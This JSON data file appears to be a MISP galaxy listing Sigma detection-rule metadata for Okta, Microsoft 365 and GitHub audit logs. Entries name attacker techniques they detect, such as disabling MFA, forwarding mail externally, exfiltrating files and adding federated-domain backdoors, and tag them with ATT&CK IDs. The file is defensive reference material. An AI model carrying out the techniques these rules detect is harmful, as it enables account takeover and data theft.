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      "description": "Detects access to Okta admin functions through proxy.",
      "meta": {
        "author": "Muhammad Faisal @faisalusuf",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "False positives are expected if administrators access these function through proxy legitimatly. Apply additional filters if necessary"
        ],
        "filename": "okta_admin_activity_from_proxy_query.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://www.beyondtrust.com/blog/entry/okta-support-unit-breach",
          "https://dataconomy.com/2023/10/23/okta-data-breach/",
          "https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_activity_from_proxy_query.yml"
        ],
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        ]
      },
      "uuid": "9058ca8b-f397-4fd1-a9fa-2b7aad4d6309",
      "value": "Okta Admin Functions Access Through Proxy"
    },
    {
      "description": "Detects when an Network Zone is Deactivated or Deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "okta_network_zone_deactivated_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "9f308120-69ed-4506-abde-ac6da81f4310",
      "value": "Okta Network Zone Deactivated or Deleted"
    },
    {
      "description": "Detects when a API token is created",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "Legitimate creation of an API token by authorized users"
        ],
        "filename": "okta_api_token_created.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml"
        ],
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        ]
      },
      "uuid": "19951c21-229d-4ccb-8774-b993c3ff3c5c",
      "value": "Okta API Token Created"
    },
    {
      "description": "Detects when an attempt at deactivating  or resetting MFA.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/21",
        "falsepositive": [
          "If a MFA reset or deactivated was performed by a system administrator."
        ],
        "filename": "okta_mfa_reset_or_deactivated.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.credential_access",
          "attack.defense_evasion",
          "attack.t1556.006"
        ]
      },
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        {
          "dest-uuid": "b4409cd8-0da9-46e1-a401-a241afd4d1cc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "50e068d7-1e6b-4054-87e5-0a592c40c7e0",
      "value": "Okta MFA Reset or Deactivated"
    },
    {
      "description": "Detects when an Okta policy is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
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        "falsepositive": [
          "Okta Policies being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "okta_policy_modified_or_deleted.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml"
        ],
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          "attack.impact"
        ]
      },
      "uuid": "1667a172-ed4c-463c-9969-efd92195319a",
      "value": "Okta Policy Modified or Deleted"
    },
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      "meta": {
        "author": "kelnage",
        "creation_date": "2023/09/07",
        "falsepositive": [
          "If a user requires an anonymising proxy due to valid justifications."
        ],
        "filename": "okta_user_session_start_via_anonymised_proxy.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_session_start_via_anonymised_proxy.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.006"
        ]
      },
      "related": [
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          "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "bde30855-5c53-4c18-ae90-1ff79ebc9578",
      "value": "Okta User Session Start Via An Anonymising Proxy Service"
    },
    {
      "description": "Detects disabling of Multi Factor Authentication.",
      "meta": {
        "author": "Splunk Threat Research Team (original rule), Harjot Singh @cyb3rjy0t (sigma rule)",
        "creation_date": "2023/09/18",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "microsoft365_disabling_mfa.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://research.splunk.com/cloud/c783dd98-c703-4252-9e8a-f19d9f5c949e/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/audit/microsoft365_disabling_mfa.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1556"
        ]
      },
      "related": [
        {
          "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "60de9b57-dc4d-48b9-a6a0-b39e0469f876",
      "value": "Disabling Multi Factor Authentication"
    },
    {
      "description": "Detects the addition of a new Federated Domain.",
      "meta": {
        "author": "Splunk Threat Research Team (original rule), Harjot Singh @cyb3rjy0t (sigma rule)",
        "creation_date": "2023/09/18",
        "falsepositive": [
          "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider."
        ],
        "filename": "microsoft365_new_federated_domain_added_audit.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://research.splunk.com/cloud/e155876a-6048-11eb-ae93-0242ac130002/",
          "https://o365blog.com/post/aadbackdoor/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/audit/microsoft365_new_federated_domain_added_audit.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "58f88172-a73d-442b-94c9-95eaed3cbb36",
      "value": "New Federated Domain Added"
    },
    {
      "description": "Detects the addition of a new Federated Domain.",
      "meta": {
        "author": "Splunk Threat Research Team (original rule), '@ionsor (rule)'",
        "creation_date": "2022/02/08",
        "falsepositive": [
          "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider."
        ],
        "filename": "microsoft365_new_federated_domain_added_exchange.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://o365blog.com/post/aadbackdoor/",
          "https://www.sygnia.co/golden-saml-advisory",
          "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf",
          "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html",
          "https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/exchange/microsoft365_new_federated_domain_added_exchange.yml"
        ],
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          "attack.persistence",
          "attack.t1136.003"
        ]
      },
      "related": [
        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
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    },
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      "description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "User using a VPN or Proxy"
        ],
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        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_from_anonymous_ip_addresses.yml"
        ],
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          "attack.command_and_control",
          "attack.t1573"
        ]
      },
      "related": [
        {
          "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d8b0a4fe-07a8-41be-bd39-b14afa025d95",
      "value": "Activity from Anonymous IP Addresses"
    },
    {
      "description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_data_exfiltration_to_unsanctioned_app.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_data_exfiltration_to_unsanctioned_app.yml"
        ],
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          "attack.exfiltration",
          "attack.t1537"
        ]
      },
      "related": [
        {
          "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2b669496-d215-47d8-bd9a-f4a45bf07cda",
      "value": "Data Exfiltration to Unsanctioned Apps"
    },
    {
      "description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_susp_inbox_forwarding.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_susp_inbox_forwarding.yml"
        ],
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          "attack.exfiltration",
          "attack.t1020"
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      },
      "related": [
        {
          "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
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    {
      "description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\nThis is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\n",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_activity_by_terminated_user.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_by_terminated_user.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "2e669ed8-742e-4fe5-b3c4-5a59b486c2ee",
      "value": "Activity Performed by Terminated User"
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    {
      "description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_logon_from_risky_ip_address.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_logon_from_risky_ip_address.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1078"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c191e2fa-f9d6-4ccf-82af-4f2aba08359f",
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    },
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      "meta": {
        "author": "Nikita Khalimonenkov",
        "creation_date": "2022/11/17",
        "falsepositive": [
          "Exporting a PST can be done for legitimate purposes by legitimate sources, but due to the sensitive nature of PST content, it must be monitored."
        ],
        "filename": "microsoft365_pst_export_alert_using_new_compliancesearchaction.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://learn.microsoft.com/en-us/powershell/module/exchange/new-compliancesearchaction?view=exchange-ps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_pst_export_alert_using_new_compliancesearchaction.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1114"
        ]
      },
      "related": [
        {
          "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6897cd82-6664-11ed-9022-0242ac120002",
      "value": "PST Export Alert Using New-ComplianceSearchAction"
    },
    {
      "description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.",
      "meta": {
        "author": "austinsonger",
        "creation_date": "2021/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_unusual_volume_of_file_deletion.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_unusual_volume_of_file_deletion.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "78a34b67-3c39-4886-8fb4-61c46dc18ecd",
      "value": "Microsoft 365 - Unusual Volume of File Deletion"
    },
    {
      "description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.",
      "meta": {
        "author": "austinsonger",
        "creation_date": "2021/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_user_restricted_from_sending_email.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_user_restricted_from_sending_email.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1199"
        ]
      },
      "related": [
        {
          "dest-uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ff246f56-7f24-402a-baca-b86540e3925c",
      "value": "Microsoft 365 - User Restricted from Sending Email"
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    {
      "description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_susp_oauth_app_file_download_activities.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_susp_oauth_app_file_download_activities.yml"
        ],
        "tags": [
          "attack.exfiltration"
        ]
      },
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      "value": "Suspicious OAuth App File Download Activities"
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    {
      "description": "Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2020/07/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_impossible_travel_activity.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_impossible_travel_activity.yml"
        ],
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          "attack.initial_access",
          "attack.t1078"
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        {
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          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "d7eab125-5f94-43df-8710-795b80fa1189",
      "value": "Microsoft 365 - Impossible Travel Activity"
    },
    {
      "description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.",
      "meta": {
        "author": "austinsonger",
        "creation_date": "2021/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_potential_ransomware_activity.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_potential_ransomware_activity.yml"
        ],
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          "attack.impact",
          "attack.t1486"
        ]
      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
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    {
      "description": "Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content",
      "meta": {
        "author": "Sorina Ionescu",
        "creation_date": "2022/02/08",
        "falsepositive": [
          "PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored."
        ],
        "filename": "microsoft365_pst_export_alert.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://learn.microsoft.com/en-us/microsoft-365/compliance/alert-policies?view=o365-worldwide",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_pst_export_alert.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1114"
        ]
      },
      "related": [
        {
          "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "18b88d08-d73e-4f21-bc25-4b9892a4fdd0",
      "value": "PST Export Alert Using eDiscovery Alert"
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    {
      "description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_activity_from_infrequent_country.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_from_infrequent_country.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1573"
        ]
      },
      "related": [
        {
          "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "microsoft365_from_susp_ip_addresses.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "m365",
        "refs": [
          "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy",
          "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_detection/microsoft365_from_susp_ip_addresses.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1573"
        ]
      },
      "related": [
        {
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          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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        "author": "Muhammad Faisal",
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          "Organization approved new members"
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        "filename": "github_new_org_member.yml",
        "level": "informational",
        "logsource.category": "No established category",
        "logsource.product": "github",
        "refs": [
          "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_new_org_member.yml"
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          "attack.persistence",
          "attack.t1136.003"
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      },
      "related": [
        {
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          "tags": [
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        "author": "Muhammad Faisal",
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          "This detection cloud be noisy depending on the environment. It is recommended to keep a check on the new secrets when created and validate the \"actor\"."
        ],
        "filename": "github_new_secret_created.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "github",
        "refs": [
          "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_new_secret_created.yml"
        ],
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          "attack.defense_evasion",
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      },
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        {
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      ],
      "uuid": "f9405037-bc97-4eb7-baba-167dad399b83",
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    {
      "description": "Detects delete action in the Github audit logs for codespaces, environment, project and repo.",
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        "author": "Muhammad Faisal",
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          "Validate the deletion activity is permitted. The \"actor\" field need to be validated."
        ],
        "filename": "github_delete_action_invoked.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "github",
        "refs": [
          "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_delete_action_invoked.yml"
        ],
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          "attack.impact",
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      },
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        {
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      ],
      "uuid": "16a71777-0b2e-4db7-9888-9d59cb75200b",
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    },
    {
      "description": "Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.\n",
      "meta": {
        "author": "Muhammad Faisal",
        "creation_date": "2023/01/20",
        "falsepositive": [
          "Validate the actor if permitted to access the repo.",
          "Validate the Multifactor Authentication changes."
        ],
        "filename": "github_outside_collaborator_detected.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "github",
        "refs": [
          "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization",
          "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_outside_collaborator_detected.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.collection",
          "attack.t1098.001",
          "attack.t1098.003",
          "attack.t1213.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "eaa9ac35-1730-441f-9587-25767bde99d7",
      "value": "Github Outside Collaborator Detected"
    },
    {
      "description": "Detects when a user disables a critical security feature for an organization.",
      "meta": {
        "author": "Muhammad Faisal",
        "creation_date": "2023/01/29",
        "falsepositive": [
          "Approved administrator/owner activities."
        ],
        "filename": "github_disable_high_risk_configuration.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "github",
        "refs": [
          "https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization",
          "https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository",
          "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disable_high_risk_configuration.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1556"
        ]
      },
      "related": [
        {
          "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8622c92d-c00e-463c-b09d-fd06166f6794",
      "value": "Github High Risk Configuration Disabled"
    },
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      "description": "A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com.\nThis rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected,\nit should be validated from GitHub UI because the log entry may not provide full context.\n",
      "meta": {
        "author": "Muhammad Faisal",
        "creation_date": "2023/01/27",
        "falsepositive": [
          "Allowed self-hosted runners changes in the environment.",
          "A self-hosted runner is automatically removed from GitHub if it has not connected to GitHub Actions for more than 14 days.",
          "An ephemeral self-hosted runner is automatically removed from GitHub if it has not connected to GitHub Actions for more than 1 day."
        ],
        "filename": "github_self_hosted_runner_changes_detected.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "github",
        "refs": [
          "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#search-based-on-operation",
          "https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_self_hosted_runner_changes_detected.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.discovery",
          "attack.collection",
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.initial_access",
          "attack.t1526",
          "attack.t1213.003",
          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f8ed0e8f-7438-4b79-85eb-f358ef2fbebd",
      "value": "Github Self Hosted Runner Changes Detected"
    },
    {
      "description": "Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts.\nThis rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories.\n",
      "meta": {
        "author": "Muhammad Faisal",
        "creation_date": "2023/01/27",
        "falsepositive": [
          "Approved changes by the Organization owner. Please validate the 'actor' if authorized to make the changes."
        ],
        "filename": "github_disabled_outdated_dependency_or_vulnerability.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "github",
        "refs": [
          "https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts",
          "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disabled_outdated_dependency_or_vulnerability.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1195.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "191cc6af-1bb2-4344-ab5f-28e496638720",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "34e1c7d4-0cd5-419d-9f1b-1dad3f61018d",
      "value": "Outdated Dependency Or Vulnerability Alert Disabled"
    },
    {
      "description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/15",
        "falsepositive": [
          "Unknown"
        ],
